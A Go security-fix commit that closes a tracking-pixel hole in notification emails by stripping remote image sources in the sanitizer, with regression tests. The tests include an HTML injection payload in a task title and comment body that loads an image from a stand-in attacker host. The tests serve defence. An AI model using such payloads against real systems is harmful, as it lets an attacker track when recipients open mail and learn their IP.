fix(notifications): strip remote images from notification emails

User-controlled fields rendered into notification emails (task title via the
conversational header, comment and description bodies) were sanitized with a
bluemonday UGCPolicy that permits remote <img> sources. An attacker with write
access to a shared project could therefore inject an external image that acts
as a tracking pixel in a subscriber's inbox, leaking email-open time and IP.

Restrict notification-email images to inline data URIs (used by avatars) by
adding a RewriteSrc hook that blanks any non-data image src. The policy was
duplicated in three places, so extract it into newNotificationSanitizer.

Refs GHSA-2vr2-r3qw-rjvq

pkg/notifications/mail_render.go

@@ -20,6 +20,7 @@ import (
 	"bytes"
 	"embed"
 	templatehtml "html/template"
+	"net/url"
 	"regexp"
 	"strings"
 	templatetext "text/template"
@@ -187,16 +188,26 @@ const mailTemplateConversationalHTML = `
 //go:embed logo.png
 var logo embed.FS
 
-func convertLinesToHTML(lines []*mailLine) (linesHTML []templatehtml.HTML, err error) {
+// newNotificationSanitizer builds the bluemonday policy for all HTML in notification
+// emails. Only inline data-URI images (avatars) are allowed: RewriteSrc blanks any
+// remote image src so a user-controlled task title, comment or description can't
+// smuggle a tracking pixel into a recipient's inbox.
+func newNotificationSanitizer() *bluemonday.Policy {
 	p := bluemonday.UGCPolicy()
-	// Allow data URI images for inline avatars in mentions
 	p.AllowDataURIImages()
-	// Allow style attribute on img and div elements for avatar and layout styling
 	p.AllowAttrs("style").OnElements("img", "div")
-	// Allow specific CSS properties for avatar styling
 	p.AllowStyles("border-radius", "vertical-align", "margin-right").OnElements("img")
-	// Allow padding styles on div elements for content spacing
 	p.AllowStyles("padding-top", "margin-bottom").OnElements("div")
+	p.RewriteSrc(func(u *url.URL) {
+		if u.Scheme != "data" {
+			*u = url.URL{}
+		}
+	})
+	return p
+}
+
+func convertLinesToHTML(lines []*mailLine) (linesHTML []templatehtml.HTML, err error) {
+	p := newNotificationSanitizer()
 
 	for _, line := range lines {
 		if line.isHTML {
@@ -225,11 +236,7 @@ func convertLinesToHTML(lines []*mailLine) (linesHTML []templatehtml.HTML, err e
 // sanitizeLinesToHTML sanitizes lines without wrapping in <p> tags or adding margins.
 // Used for footer lines and other content that should not have paragraph styling.
 func sanitizeLinesToHTML(lines []*mailLine) (linesHTML []templatehtml.HTML, err error) {
-	p := bluemonday.UGCPolicy()
+	p := newNotificationSanitizer()
-	p.AllowDataURIImages()
-	p.AllowAttrs("style").OnElements("img", "div")
-	p.AllowStyles("border-radius", "vertical-align", "margin-right").OnElements("img")
-	p.AllowStyles("padding-top", "margin-bottom").OnElements("div")
 
 	for _, line := range lines {
 		if line.isHTML {
@@ -366,12 +373,8 @@ func RenderMail(m *Mail, lang string) (mailOpts *mail.Opts, err error) {
 	data["CopyURLText"] = i18n.T(lang, "notifications.common.copy_url")
 
 	if m.headerLine != nil {
-		p := bluemonday.UGCPolicy()
-		p.AllowDataURIImages()
-		p.AllowAttrs("style").OnElements("img", "div")
-		p.AllowStyles("border-radius", "vertical-align", "margin-right").OnElements("img")
 		// #nosec G203 -- the html is sanitized
-		data["HeaderLineHTML"] = templatehtml.HTML(p.Sanitize(m.headerLine.Text))
+		data["HeaderLineHTML"] = templatehtml.HTML(newNotificationSanitizer().Sanitize(m.headerLine.Text))
 	}
 
 	data["IntroLinesHTML"], err = convertLinesToHTML(m.introLines)

pkg/notifications/mail_test.go

@@ -711,3 +711,55 @@ func TestConversationalMail(t *testing.T) {
 		assert.Contains(t, headerLine1, "(Project > Task) #1")
 	})
 }
+
+// Regression test for GHSA-2vr2-r3qw-rjvq: a user-controlled task title (or comment
+// or description) must not be able to smuggle a remote image into a notification
+// email, where it would act as a tracking pixel. Inline data-URI avatars and normal
+// links must keep working.
+func TestNotificationEmailStripsRemoteImages(t *testing.T) {
+	const remoteSrc = "https://attacker.example/track.png?u=victim"
+
+	t.Run("remote image injected via task title in header is stripped", func(t *testing.T) {
+		payloadTitle := `</a><img src="` + remoteSrc + `" style="position:absolute;width:100%;height:100%"><a>normal title`
+		header := CreateConversationalHeader("", "attacker left a comment", "https://example.com/task/1", "Project", "#1", payloadTitle)
+
+		mailOpts, err := RenderMail(NewMail().
+			Conversational().
+			Subject("Test").
+			HeaderLine(header).
+			Action("View Task", "https://example.com/task/1"), "en")
+		require.NoError(t, err)
+
+		assert.NotContains(t, mailOpts.HTMLMessage, remoteSrc)
+		assert.NotContains(t, mailOpts.HTMLMessage, "attacker.example")
+		// The benign text is still delivered, and the legitimate task link survives.
+		assert.Contains(t, mailOpts.HTMLMessage, "normal title")
+		assert.Contains(t, mailOpts.HTMLMessage, `href="https://example.com/task/1"`)
+	})
+
+	t.Run("remote image in body content is stripped", func(t *testing.T) {
+		mailOpts, err := RenderMail(NewMail().
+			Conversational().
+			Subject("Test").
+			HTML(`<p>hi</p><img src="`+remoteSrc+`">`).
+			Action("View Task", "https://example.com/task/1"), "en")
+		require.NoError(t, err)
+
+		assert.NotContains(t, mailOpts.HTMLMessage, remoteSrc)
+		assert.Contains(t, mailOpts.HTMLMessage, "hi")
+	})
+
+	t.Run("inline data-URI avatar is preserved", func(t *testing.T) {
+		const avatar = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="
+		header := CreateConversationalHeader(avatar, "alice left a comment", "https://example.com/task/1", "Project", "#1", "Task")
+
+		mailOpts, err := RenderMail(NewMail().
+			Conversational().
+			Subject("Test").
+			HeaderLine(header).
+			Action("View Task", "https://example.com/task/1"), "en")
+		require.NoError(t, err)
+
+		assert.Contains(t, mailOpts.HTMLMessage, "data:image/png;base64,")
+	})
+}